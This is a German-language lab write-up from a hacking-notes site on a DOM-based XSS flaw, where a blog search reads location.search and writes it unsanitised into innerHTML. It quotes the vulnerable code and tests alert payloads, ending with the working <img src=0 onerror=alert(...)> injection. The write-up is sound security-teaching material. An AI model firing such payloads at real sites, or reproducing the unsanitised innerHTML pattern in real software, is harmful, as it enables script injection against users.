> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/dom-xss-with-innerhtml-and-location-search.md).

# DOM-XSS mit innerHTML und location.search

### DOM-XSS in InnerHTML-Sink unter Verwendung der Quelle location.search

DOM-XSS-Schwachstelle in der Blog-Suchfunktion. Der Code liest den Wert von `location.search` und fügt ihn direkt über das DOM ein via `innerHTML`, wodurch JavaScript eingeschleust und ausgeführt werden kann, wenn der Wert aus der URL stammt.

<figure><img src="/files/8b0166b0384c49714ed44c07ed955cbf4932d65b" alt=""><figcaption></figcaption></figure>

**Auszug aus dem beobachteten Code**

```javascript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
```

**Getestete Payloads**

* Einfache Payload (nicht interpretiert): / `<script>alert("XSS")</script>`
* Test zum Einfügen eines Bildelements\:/ `<img src="test"</img>`/ (dies löst keine Skriptausführung aus, da kein Ereignisattribut vorhanden ist)

<figure><img src="/files/6fc5fc53ee4ebff7ca8da18c08c9341ae89ff12c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dcc2c73af9a1e3a20baf4b09ad77fe2c90b1f440" alt=""><figcaption></figcaption></figure>

Ladefehler erzwingen, um einen `onerror` Handler auszulösen:/ `<img src=0 onerror=alert("XSS")>` / (Diese Payload verwendet das `onerror` Ereignisattribut, um `alert` auszuführen, wenn das Laden des Bildes fehlschlägt)

```javascript
<img src=0 onerror=alert("xss")>
```

<figure><img src="/files/ca205982148252cd97fa46250690f632f980d0ea" alt=""><figcaption></figcaption></figure>

Das Skript beeinflusst direkt `innerHTML` mit dem `Suche` den Wert der URL; daher können HTML-Fragmente mit Ereignishandlern (z. B. `onerror`) oder ausführbare Tags zur Codeausführung führen. Die `<img src=0 onerror=alert("XSS")>` Payload verursacht einen Ladefehler und führt `alert("XSS")`, was die DOM-XSS-Schwachstelle demonstriert.


---

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